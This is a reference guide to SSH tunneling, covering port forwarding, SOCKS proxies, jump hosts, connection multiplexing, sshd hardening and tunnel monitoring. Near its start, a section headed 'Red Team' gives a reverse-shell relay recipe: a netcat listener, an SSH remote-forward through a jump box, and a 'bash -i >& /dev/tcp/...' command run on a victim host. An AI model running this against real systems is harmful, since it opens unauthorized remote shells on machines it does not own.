SSH Tunneling
SSH Tunneling - Complete Guide
referece: https://iximiuz.com/en/posts/ssh-tunnels/
https://www.ssh.com/academy/ssh/tunneling-example
https://goteleport.com/blog/ssh-tunneling-explained/
Local Port Forwarding

Local Port Forwarding with a Bastion Host
Remote Port Forwarding

Remote Port Forwarding from a Home/Private Network

Reverse Shell Relay via Jump Box (Red Team)
Scenario: Target can only reach the jump box. You want the shell on your operator box.
flowchart LR
T["🖥 Target\n(victim)"]
J["🔀 Jump Box\n(internet-facing)"]
O["💻 Operator Box\n(your machine)"]
O -->|"Step 2: ssh -R 0.0.0.0:4444:localhost:4444\n(opens port 4444 on jump)"| J
T -->|"Step 3: bash -i >& /dev/tcp/jump/4444"| J
J -->|"forwarded back through SSH -R tunnel"| O
O -->|"Step 1: nc -lvnp 4444\ncatches shell ✓"| O
style T fill:#ff6b6b,color:#fff
style J fill:#ffa500,color:#fff
style O fill:#2ecc71,color:#fffExecution Order — all SSH commands from operator
| Step | Where | Command |
|---|---|---|
| 1 | Operator | nc -lvnp 4444 |
| 2 | Operator | ssh -N -f -R 0.0.0.0:4444:localhost:4444 user@<jump-box-ip> |
| 3 | Target | bash -i >& /dev/tcp/<jump-box-ip>/4444 0>&1 |
Required on jump box (
/etc/ssh/sshd_config):GatewayPorts yesBy default sshd ignores the bind address in
-Rand forces127.0.0.1— only local processes on the jump box can connect to that port.GatewayPorts yeslets the0.0.0.0you specified actually take effect so the target can reach port 4444 from outside.echo "GatewayPorts yes" >> /etc/ssh/sshd_config systemctl restart sshd sshd -T | grep gatewayports # verify
Alt Step 2 — socat on jump box (if you already have execution there):
socat TCP-LISTEN:4444,fork,reuseaddr TCP:<operator-ip>:4444 &
What NOT to confuse
-L(local forward) requires SSH from jump → operator — you'd need credentials the other direction-Ris correct here: operator SSHes out to jump and opens a port on itGatewayPorts yesis required for-Rwith0.0.0.0so the target can connect externally
Overview
SSH Tunneling (Port Forwarding) allows you to create encrypted connections between machines to access services, bypass firewalls, and expose local services securely.
Quick Reference:
- Local (-L): SSH client opens port → forwards to remote
- Remote (-R): SSH server opens port → forwards to local
- Dynamic (-D): SSH client opens SOCKS proxy → dynamic forwarding
1. Local Port Forwarding (-L)
Purpose: Access a remote service from your local machine
Basic Syntax
ssh -L [local_addr:]local_port:remote_addr:remote_port [user@]sshd_addr
Visual Diagram
┌─────────────┐ ┌──────────────┐
│ Your Laptop │ │ SSH Server │
│ │ SSH Tunnel │ │
│ localhost: │◄──────────────────►│ remote_addr: │
│ local_port │ (encrypted) │ remote_port │
└─────────────┘ └──────────────┘
Examples
Example 1: Access remote MySQL from localhost
ssh -L 3306:localhost:3306 user@remote-server.com
# Now connect to localhost:3306 on your laptop → reaches MySQL on remote server
Example 2: Access service on specific interface
ssh -L 8080:192.168.1.100:80 user@bastion-host.com
# Your localhost:8080 → 192.168.1.100:80 (accessible from bastion)
Example 3: Bind to specific local address
ssh -L 0.0.0.0:8080:localhost:80 user@server.com
# Makes port 8080 accessible on all your network interfaces (not just localhost)
Common Use Cases
- Access database (MySQL, Postgres, Redis) with GUI tools
- Access internal web services via browser
- Connect to services behind firewalls
- Access container ports without publishing them
Flags
-f # Run in background
-N # Don't execute remote command (port forwarding only)
-L # Local port forwarding
# Combined example:
ssh -f -N -L 8080:localhost:80 user@server.com
2. Local Port Forwarding with Bastion Host
Purpose: Access a service on a private network through a jump host
Syntax
ssh -L [local_addr:]local_port:remote_addr:remote_port [user@]bastion_addr
Visual Diagram
┌─────────────┐ ┌─────────────┐ ┌──────────────┐
│ Your Laptop │ │ Bastion │ │ Private Host │
│ │ SSH │ (public) │ Direct │ │
│ localhost: │◄───────►│ │◄───────►│ remote_addr: │
│ local_port │ Tunnel │ │ Access │ remote_port │
└─────────────┘ └─────────────┘ └──────────────┘
Examples
Example 1: Access RDS through EC2 bastion
ssh -L 5432:my-rds.abc123.us-east-1.rds.amazonaws.com:5432 ec2-user@bastion.example.com
# localhost:5432 → RDS (only accessible from bastion's VPC)
Example 2: Access private web service
ssh -L 8080:internal-app.private:80 user@bastion.company.com
# localhost:8080 → internal-app.private:80
Use Cases
- Access VPC-internal AWS services (RDS, ElastiCache, OpenSearch)
- Connect to private network resources
- Access dev environments behind corporate firewall
3. Remote Port Forwarding (-R)
Purpose: Expose your local service to a remote server (reverse tunnel)
Basic Syntax
ssh -R [remote_addr:]remote_port:local_addr:local_port [user@]gateway_addr
Visual Diagram
┌─────────────┐ ┌──────────────┐
│ Your Laptop │ │ Gateway │
│ │ SSH Tunnel │ (public) │
│ localhost: │◄──────────────────►│ │
│ local_port │ (encrypted) │ remote_addr: │
│ │ │ remote_port │◄─── External access
└─────────────┘ └──────────────┘
Examples
Example 1: Expose local web server
ssh -R 8080:localhost:3000 user@public-server.com
# public-server.com:8080 → your localhost:3000
Example 2: Expose to public interface
ssh -R 0.0.0.0:8080:localhost:3000 user@gateway.com
# Requires: GatewayPorts yes in sshd_config
# Anyone can access gateway.com:8080 → your localhost:3000
Important Configuration
On the SSH server (/etc/ssh/sshd_config):
GatewayPorts yes # Allow remote_addr to be non-localhost
# Default is 'no' (only localhost on remote server can access the port)
Use Cases
- Demo local development to clients
- Expose local service temporarily
- Webhook testing (e.g., GitHub webhooks to localhost)
- Bypass NAT/firewall for incoming connections
Flags
-f # Run in background
-N # Don't execute remote command
-R # Remote port forwarding
# Combined:
ssh -f -N -R 8080:localhost:3000 user@server.com
4. Remote Port Forwarding from Private Network
Purpose: Expose a service from your home/private network to the internet
Syntax
ssh -R [remote_addr:]remote_port:local_addr:local_port [user@]gateway_addr
Visual Diagram
┌─────────────┐ ┌─────────────┐ ┌──────────────┐
│ Gateway │ │ Your Laptop │ │ Home Server │
│ (public) │ SSH │ (bastion) │ LAN │ │
│ │◄───────►│ │◄───────►│ local_addr: │
│ remote_addr:│ Tunnel │ │ Access │ local_port │
│ remote_port │ │ │ │ │
└─────────────┘ └─────────────┘ └──────────────┘
▲
│ External users can access
Example
# From your laptop:
ssh -R 8080:home-server.local:3000 user@public-gateway.com
# public-gateway.com:8080 → home-server.local:3000
Use Cases
- Expose home server services without opening router ports
- Access IoT devices from anywhere
- Share local network resources temporarily
5. Dynamic Port Forwarding (-D) - SOCKS Proxy
Purpose: Create a SOCKS proxy for dynamic forwarding of multiple connections
Syntax
ssh -D [local_addr:]local_port [user@]sshd_addr
Visual Diagram
┌─────────────┐ ┌──────────────┐
│ Your Laptop │ │ SSH Server │
│ │ SSH Tunnel │ │
│ SOCKS Proxy │◄──────────────────►│ │
│ localhost: │ (encrypted) │ ┌────┐ │
│ local_port │ │───►│Web │ │
│ │ │ └────┘ │
│ Browser ────┤ │ ┌────┐ │
│ App ────────┤ │───►│ DB │ │
└─────────────┘ │ └────┘ │
└──────────────┘
Examples
Example 1: Basic SOCKS proxy
ssh -D 1080 user@remote-server.com
# Configure browser/app to use SOCKS5 proxy: localhost:1080
Example 2: Background SOCKS proxy
ssh -f -N -D 1080 user@server.com
Browser Configuration
Firefox
- Settings → Network Settings → Manual proxy configuration
- SOCKS Host:
localhost, Port:1080 - Select "SOCKS v5"
- Check "Proxy DNS when using SOCKS v5"
Or use FoxyProxy extension for easy switching:
1. Install FoxyProxy Standard
2. Add proxy: SOCKS5, localhost:1080
3. Create patterns (e.g., *.internal.company.com)
4. Toggle on/off from toolbar
Chrome/Chromium
# Launch with SOCKS proxy
google-chrome --proxy-server="socks5://localhost:1080"
# Or use SwitchyOmega extension
# Install → Configure → New Profile → Protocol: SOCKS5
System-wide (Linux)
export ALL_PROXY=socks5://localhost:1080
# For GUI apps (add to ~/.bashrc or /etc/environment)
export HTTP_PROXY=socks5://localhost:1080
export HTTPS_PROXY=socks5://localhost:1080
export NO_PROXY=localhost,127.0.0.1
macOS System-wide
# Network Preferences → Advanced → Proxies
# Check "SOCKS Proxy"
# Server: localhost:1080
# Or via command line:
networksetup -setsocksfirewallproxy "Wi-Fi" localhost 1080
Use Cases
- Browse the internet through remote server
- Access multiple remote services without multiple tunnels
- Bypass geo-restrictions
- Secure browsing on untrusted networks
- Access entire remote network
Tools that support SOCKS
# curl
curl --socks5 localhost:1080 http://example.com
# git
git config --global http.proxy socks5://localhost:1080
# wget
wget -e use_proxy=yes -e http_proxy=localhost:1080 http://example.com
6. X11 Forwarding (-X / -Y)
Purpose: Run graphical applications on a remote server with display on your local machine
Syntax
ssh -X [user@]server.com # Basic X11 forwarding
ssh -Y [user@]server.com # Trusted X11 forwarding (less secure)
Visual Diagram
┌─────────────┐ ┌──────────────┐
│ Your Laptop │ │ SSH Server │
│ │ SSH Tunnel │ │
│ X Server │◄──────────────────►│ GUI App │
│ (Display) │ (encrypted) │ (xclock, │
│ │ │ firefox) │
└─────────────┘ └──────────────┘
Examples
Example 1: Run remote GUI application
ssh -X user@server.com
# On remote server:
firefox &
gedit document.txt &
xclock &
Example 2: Single command execution
ssh -X user@server.com "gedit /etc/hosts"
# Opens gedit on your local display, editing remote file
Example 3: With compression for slow connections
ssh -XC user@server.com
# -C enables compression, helpful over slow links
Difference between -X and -Y
-X: Enables X11 forwarding with X11 SECURITY extension controls (safer)-Y: Enables trusted X11 forwarding (bypasses X11 SECURITY, needed for some apps)
Requirements
On your local machine (client):
- X Server running (Linux/macOS/Windows with X server like VcXsrv/Xming)
On remote server (/etc/ssh/sshd_config):
X11Forwarding yes
X11DisplayOffset 10
X11UseLocalhost yes
macOS X11 Setup
# Install XQuartz
brew install --cask xquartz
# Start XQuartz and enable "Allow connections from network clients"
# Then SSH with -X flag
ssh -X user@server.com
Windows X11 Setup
# Install VcXsrv or Xming
# Start X server, then use PuTTY or WSL2:
ssh -X user@server.com
Common Use Cases
- Run remote IDE or text editor (VS Code, PyCharm, gedit)
- View remote images/PDFs with GUI viewers
- Run database management GUIs (MySQL Workbench, pgAdmin)
- Run remote browser for testing
Troubleshooting X11
# Check DISPLAY variable is set
echo $DISPLAY
# Should show something like: localhost:10.0
# Test X11 with simple app
xclock
xeyes
# Debug X11 forwarding
ssh -v -X user@server.com
# Look for "Requesting X11 forwarding" in output
7. Multiple Port Forwards
You can create multiple tunnels in one SSH session:
ssh -L 3306:localhost:3306 \
-L 6379:localhost:6379 \
-L 8080:internal-app:80 \
user@server.com
8. Reverse Dynamic Forwarding (-R + SOCKS)
Purpose: Allow remote server to use your local machine as SOCKS proxy
Syntax
ssh -R remote_port user@server.com
# Requires OpenSSH 7.6+
Example
ssh -R 1080 user@remote-server.com
# Remote server can now use localhost:1080 as SOCKS proxy to access your network
9. ProxyJump / Jump Host
Purpose: Chain SSH connections through intermediate hosts
Modern Syntax (OpenSSH 7.3+)
ssh -J jump-host.com user@final-destination.com
# Multiple jumps:
ssh -J jump1.com,jump2.com user@final.com
# With port forwarding:
ssh -J bastion.com -L 8080:localhost:80 user@private-server
Legacy Syntax
ssh -o ProxyCommand="ssh -W %h:%p user@jump-host.com" user@final-destination.com
Config File (~/.ssh/config)
Host private-server
HostName 10.0.1.100
User admin
ProxyJump bastion.example.com
Host bastion.example.com
User ec2-user
IdentityFile ~/.ssh/bastion-key.pem
10. Summary & Mnemonics
Quick Reference Table
| Type | Flag | Syntax | Opens Port On | Use Case |
|---|---|---|---|---|
| Local | -L |
local:remote |
SSH Client | Access remote service locally |
| Remote | -R |
remote:local |
SSH Server | Expose local service remotely |
| Dynamic | -D |
local_port |
SSH Client | SOCKS proxy for multiple services |
| X11 | -X/-Y |
N/A | SSH Client | Run remote GUI apps locally |
| ProxyJump | -J |
jump_host |
N/A | Chain SSH through intermediaries |
Mnemonics
-L= Local opens port, Listen locally-R= Remote opens port, Reverse direction-D= Dynamic SOCKS proxy- Left side opens port:
-L local:remote(local opens),-R remote:local(remote opens)
Port Format
-L [bind_address:]port:host:hostport
-R [bind_address:]port:host:hostport
-D [bind_address:]port
bind_address:
- localhost (default) - only local access
- 0.0.0.0 - all interfaces (requires GatewayPorts for -R)
- specific IP - bind to specific interface
11. Common Flags Reference
-f # Fork to background after authentication
-N # Don't execute remote command (port forwarding only)
-C # Enable compression
-v # Verbose (debugging)
-vv # More verbose
-vvv # Maximum verbosity
-g # Allow remote hosts to connect to local forwarded ports
# (Alternative to binding to 0.0.0.0)
-n # Redirect stdin from /dev/null (useful with -f)
-T # Disable pseudo-terminal allocation
-q # Quiet mode
-4 # Force IPv4
-6 # Force IPv6
-o ServerAliveInterval=60 # Keep connection alive
-o ServerAliveCountMax=3 # Max keepalive retries
Useful Combinations
Background tunnel with keepalive
ssh -f -N -o ServerAliveInterval=60 -L 8080:localhost:80 user@server.com
Verbose debugging
ssh -vvv -L 8080:localhost:80 user@server.com
Compressed tunnel
ssh -C -L 8080:localhost:80 user@server.com
12. Advanced Techniques
AutoSSH - Auto-restart tunnels
# Install autossh
sudo apt install autossh
# Auto-restart if connection dies
autossh -M 0 -f -N -L 8080:localhost:80 user@server.com
Persistent Tunnels with systemd
# /etc/systemd/system/ssh-tunnel.service
[Unit]
Description=SSH Tunnel to Remote Server
After=network.target
[Service]
Type=simple
User=youruser
ExecStart=/usr/bin/ssh -N -L 8080:localhost:80 user@server.com
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
sudo systemctl enable ssh-tunnel
sudo systemctl start ssh-tunnel
SSH Config for Persistent Tunnels
# ~/.ssh/config
Host tunnel-db
HostName bastion.example.com
User admin
LocalForward 3306 rds-instance.internal:3306
LocalForward 6379 redis.internal:6379
ServerAliveInterval 60
ServerAliveCountMax 3
IdentityFile ~/.ssh/bastion-key.pem
# Usage: ssh -N tunnel-db
SSH Escape Sequences - Interactive Tunnel Management
SSH escape sequences allow you to control active SSH sessions interactively.
Common Escape Sequences
~? # Show all escape sequences
~C # Open SSH command line (add/remove port forwards on the fly)
~. # Terminate connection
~& # Background SSH (when waiting for forwarded connections)
~# # List forwarded connections
Adding Tunnels to Running Session
# 1. Press Enter, then ~C (tilde + Shift + C)
# 2. You'll see: ssh>
# 3. Add port forward:
ssh> -L 8080:localhost:80
ssh> -R 9090:localhost:3000
ssh> -D 1080
# 4. Press Enter to return to session
Example Session
$ ssh user@server.com
# ... working on server ...
# Need to add a port forward without reconnecting:
[Enter]
~C
ssh> -L 3306:localhost:3306
Forwarding port.
# Continue working with new tunnel active
Enable Escape Character (if disabled)
# In ~/.ssh/config
Host *
EscapeChar ~
# Or on command line:
ssh -e ~ user@server.com
ControlMaster - Connection Multiplexing
Purpose: Reuse a single SSH connection for multiple sessions (faster, fewer authentication prompts)
Configuration (~/.ssh/config)
Host *
ControlMaster auto
ControlPath ~/.ssh/control-%r@%h:%p
ControlPersist 10m
What it does:
- ControlMaster auto: First connection becomes master, subsequent ones are slaves
- ControlPath: Socket location for connection sharing
- ControlPersist 10m: Keep master connection alive for 10 minutes after last session
Benefits
# First connection (creates master):
ssh user@server.com
# Takes 2 seconds (authentication)
# Second connection (reuses master):
ssh user@server.com
# Instant! No authentication needed
# SCP also benefits:
scp file.txt user@server.com:/tmp/
# Instant connection reuse
Manual Control
# Check master connection status
ssh -O check user@server.com
# Stop master connection
ssh -O stop user@server.com
# Forward master to background
ssh -O forward user@server.com
Per-Host Configuration
# ~/.ssh/config
Host bastion
HostName bastion.example.com
User admin
ControlMaster auto
ControlPath ~/.ssh/control-%r@%h:%p
ControlPersist 1h
Host production-*
ProxyJump bastion
ControlMaster auto
ControlPath ~/.ssh/control-%r@%h:%p
ControlPersist 30m
Use Case Example
# Terminal 1: Create master connection with tunnel
ssh -fN -L 3306:localhost:3306 user@server.com
# Terminal 2: Regular SSH (reuses connection, no new auth)
ssh user@server.com
# Terminal 3: SCP (reuses connection)
scp file.txt user@server.com:/tmp/
# All three use the same underlying TCP connection!
13. Security Considerations
Server Configuration (/etc/ssh/sshd_config)
# Allow TCP forwarding (default: yes)
AllowTcpForwarding yes
# Allow remote port forwarding to bind to non-localhost
GatewayPorts yes # Allow any interface
# GatewayPorts clientspecified # Client specifies interface
# Allow agent forwarding (use cautiously)
AllowAgentForwarding yes
# Restrict forwarding to specific users
Match User tunnel-user
AllowTcpForwarding yes
GatewayPorts yes
Match User *
AllowTcpForwarding no
Restricting Tunnel Destinations with PermitOpen
Purpose: Limit which destinations can be forwarded to (whitelist approach)
Server Configuration (/etc/ssh/sshd_config)
# Restrict all users by default
Match User *
AllowTcpForwarding yes
PermitOpen localhost:3306 localhost:6379 192.168.1.100:80
# Only these destinations can be forwarded to
# Or per-user restrictions
Match User tunnel-user
AllowTcpForwarding yes
PermitOpen localhost:3306
PermitListen localhost:8080
# tunnel-user can only forward to MySQL and listen on 8080
Match User developer
AllowTcpForwarding yes
PermitOpen 10.0.0.0/8:*
# developer can forward to any port on 10.0.0.0/8 network
PermitListen (for Remote Port Forwarding)
Match User web-developer
AllowTcpForwarding remote
PermitListen localhost:8080 localhost:8443
# Can only create remote forwards on these ports
Disable Specific Forwarding Types
# Allow only local forwarding (no remote)
AllowTcpForwarding local
# Allow only remote forwarding (no local)
AllowTcpForwarding remote
# Allow neither
AllowTcpForwarding no
Best Practices
- Use key-based authentication (not passwords)
- Limit GatewayPorts - only enable if needed
- Restrict tunnel users - create dedicated tunnel users with limited permissions
- Use PermitOpen - whitelist allowed destinations
- Monitor connections - check active tunnels with
ss -tlnp | grep ssh - Use firewall rules - restrict access to forwarded ports
- Avoid agent forwarding in untrusted environments
- Use dedicated keys for tunnels (not your main SSH key)
- Set PermitListen - restrict which ports can be used for remote forwarding
- Audit tunnel usage - log and review SSH tunnel activity
SSH Tunnel Logging
# /etc/ssh/sshd_config
LogLevel VERBOSE
# Logs port forwarding requests in /var/log/auth.log
# Monitor in real-time
sudo tail -f /var/log/auth.log | grep -i forward
14. Monitoring Active SSH Tunnels
Check Active Tunnels
List all SSH connections and port forwards
# Show listening ports by SSH
ss -tlnp | grep ssh
netstat -tlnp | grep ssh
# Show established SSH connections
ss -tnp | grep ssh
# Show SSH processes with full command
ps aux | grep ssh | grep -v grep
# Detailed view with lsof
sudo lsof -i -n | grep ssh
Example Output Analysis
$ ss -tlnp | grep ssh
LISTEN 0 128 127.0.0.1:8080 0.0.0.0:* users:(("ssh",pid=12345,fd=4))
LISTEN 0 128 127.0.0.1:3306 0.0.0.0:* users:(("ssh",pid=12345,fd=5))
# SSH process 12345 has two local forwards: 8080 and 3306
Monitor Tunnel Health
Simple monitoring script
#!/bin/bash
# check-tunnel.sh
TUNNEL_PID=$(pgrep -f "ssh.*-L.*8080")
if [ -z "$TUNNEL_PID" ]; then
echo "Tunnel is DOWN"
# Optionally restart
ssh -fN -L 8080:localhost:80 user@server.com
else
echo "Tunnel is UP (PID: $TUNNEL_PID)"
fi
Check if tunnel port is accessible
# Test local forwarded port
nc -zv localhost 8080
# Or
curl -v localhost:8080
# Test with timeout
timeout 5 bash -c 'cat < /dev/null > /dev/tcp/localhost/8080'
echo $? # 0 = success, 124 = timeout
Kill Specific Tunnels
# Kill tunnel on specific port
lsof -ti:8080 | xargs kill
# Kill all SSH tunnels for specific user
pkill -u $USER ssh
# Kill specific SSH session by PID
kill 12345
# Force kill if needed
kill -9 12345
Systemd Service with Health Check
# /etc/systemd/system/ssh-tunnel-monitored.service
[Unit]
Description=SSH Tunnel with Health Monitoring
After=network.target
[Service]
Type=simple
User=youruser
ExecStart=/usr/bin/ssh -N -L 8080:localhost:80 user@server.com
Restart=always
RestartSec=10
StartLimitBurst=5
StartLimitIntervalSec=60
# Health check
ExecStartPost=/bin/sleep 5
ExecStartPost=/bin/sh -c 'nc -zv localhost 8080'
[Install]
WantedBy=multi-user.target
15. Troubleshooting
Check if tunnel is active
# List listening ports
ss -tlnp | grep ssh
netstat -tlnp | grep ssh
# Check SSH connection
ps aux | grep ssh
# Verbose SSH for debugging
ssh -vvv -L 8080:localhost:80 user@server.com
Common Issues
"bind: Address already in use"
# Port already in use, find and kill process
lsof -ti:8080 | xargs kill -9
# Or use different port
ssh -L 8081:localhost:80 user@server.com
"Permission denied" on privileged ports (<1024)
# Use unprivileged port instead
ssh -L 8080:localhost:80 user@server.com # Instead of port 80
# Or use sudo (not recommended)
sudo ssh -L 80:localhost:80 user@server.com
Remote forwarding not accessible externally
# Check sshd_config on server
grep GatewayPorts /etc/ssh/sshd_config
# Must be: GatewayPorts yes
# Then: sudo systemctl restart sshd
Connection drops/timeouts
# Add keepalive
ssh -o ServerAliveInterval=60 -o ServerAliveCountMax=3 -L 8080:localhost:80 user@server.com
# Or in ~/.ssh/config:
Host *
ServerAliveInterval 60
ServerAliveCountMax 3
16. Practical Examples
Example 1: Access AWS RDS
ssh -i ~/.ssh/bastion-key.pem -L 5432:mydb.abc123.us-east-1.rds.amazonaws.com:5432 ec2-user@bastion-public-ip
# Connect with psql:
psql -h localhost -p 5432 -U dbuser -d mydb
Example 2: Webhook Testing (Expose localhost)
# On public server, enable GatewayPorts
ssh -R 0.0.0.0:8080:localhost:3000 user@public-server.com
# GitHub webhook URL: http://public-server.com:8080/webhook
Example 3: Browse Through Remote Server
ssh -D 1080 user@remote-server.com
# Configure browser to use SOCKS5 proxy: localhost:1080
# All traffic now goes through remote server
Example 4: Access Home Server from Anywhere
# From laptop at work:
ssh -L 8080:homeserver.local:80 user@home-router-public-ip
# Or reverse tunnel from home:
# On home server:
ssh -R 8080:localhost:80 user@public-vps.com
# Access from anywhere: http://public-vps.com:8080
Example 5: Chain Multiple Jumps
# Access private database through two jump hosts
ssh -J jump1.com,jump2.com -L 3306:db.private:3306 user@bastion.private
# Or in ~/.ssh/config:
Host db-tunnel
HostName bastion.private
User user
ProxyJump jump1.com,jump2.com
LocalForward 3306 db.private:3306
17. Alternative Tools & Enhancements
SOCKS Proxy Browser Extensions
FoxyProxy (Firefox/Chrome)
- Easy switching between proxy profiles
- Pattern-based proxy selection
- Useful for selective tunneling
# Setup:
1. Install FoxyProxy extension
2. Add new proxy:
- Type: SOCKS5
- Host: localhost
- Port: 1080
3. Create patterns for specific domains
4. Quick toggle in toolbar
SwitchyOmega (Chrome)
- Similar to FoxyProxy
- Auto-switch based on URL patterns
- Profile-based management
sshuttle - VPN over SSH
Purpose: Poor man's VPN - route traffic through SSH without SOCKS configuration
Installation
# Linux
sudo apt install sshuttle
# macOS
brew install sshuttle
# Python pip
pip install sshuttle
Basic Usage
# Route all traffic through SSH server
sshuttle -r user@server.com 0.0.0.0/0
# Route specific subnet
sshuttle -r user@server.com 10.0.0.0/8
# Route multiple subnets
sshuttle -r user@server.com 10.0.0.0/8 192.168.0.0/16
# Exclude certain IPs
sshuttle -r user@server.com 0.0.0.0/0 -x 192.168.1.0/24
# Include DNS
sshuttle --dns -r user@server.com 0.0.0.0/0
Advantages over SSH -D
- No need to configure applications
- System-wide routing (transparent)
- Handles DNS automatically
- Works with apps that don't support SOCKS
Example: Access entire AWS VPC
# Route all VPC traffic through bastion
sshuttle -r ec2-user@bastion-ip 10.0.0.0/16 --dns
# Now access any VPC resource directly:
curl http://internal-elb.vpc.internal
psql -h rds-instance.vpc.internal
Commercial Alternatives
-
Ngrok: Expose local servers to internet (commercial, free tier available)
ngrok http 3000 # Gives you https://random-id.ngrok.io → localhost:3000 -
Cloudflare Tunnel: Secure tunnels without opening ports
cloudflared tunnel --url localhost:3000 -
Tailscale: Zero-config VPN based on WireGuard
- Peer-to-peer mesh network
- No central gateway needed
- Great for accessing home network from anywhere
-
WireGuard: Modern VPN alternative
- Faster than SSH tunnels for heavy traffic
- Always-on VPN use cases
- Lower overhead than OpenVPN
Other SSH Tools
-
Mosh: Mobile Shell - survives connection drops
mosh user@server.com # Better than SSH for unstable connections -
Eternal Terminal: Persistent SSH sessions
et user@server.com # Auto-reconnects, maintains session state -
Teleconsole: Share terminal sessions
teleconsole # Gives shareable URL for terminal access
References
- SSH Port Forwarding Explained (Teleport)
- SSH Academy - SSH Tunneling
- OpenSSH Manual
- Visual Guide to SSH Tunnels (iximiuz.com)
Tags: #ssh #networking #tunneling #port-forwarding #socks #proxy #security